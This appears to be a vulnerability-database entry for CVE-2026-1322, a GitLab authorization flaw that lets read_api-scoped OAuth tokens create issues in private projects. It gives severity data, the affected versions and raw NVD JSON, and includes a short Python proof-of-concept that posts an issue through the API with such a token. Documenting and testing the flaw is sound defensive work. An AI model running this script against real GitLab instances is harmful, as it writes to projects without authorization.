Security Vulnerability Report
中文
CVE-2026-1322 CVSS 6.8 MEDIUM

CVE-2026-1322

Published: 2026-05-14 06:16:21
Last Modified: 2026-05-14 16:20:43

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.0 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with a read_api scoped OAuth application to create issues and add comments to issues in private projects due to improper authorization.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 16.0, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target GitLab instance URL target_url = "https://gitlab.example.com/api/v4/projects/<PROJECT_ID>/issues" # OAuth Token with read_api scope (vulnerable) access_token = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Data payload to create an issue payload = { "title": "PoC: Unauthorized Issue Creation", "description": "This issue was created using a read_api scoped token due to CVE-2026-1322." } try: # Send POST request to create issue response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 201: print("[+] Exploit successful! Issue created.") print(f"[+] Issue ID: {response.json().get('iid')}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1322", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:21.340", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.0 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with a read_api scoped OAuth application to create issues and add comments to issues in private projects due to improper authorization."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-840"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/587270", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3508895", "source": "[email protected]"}]}}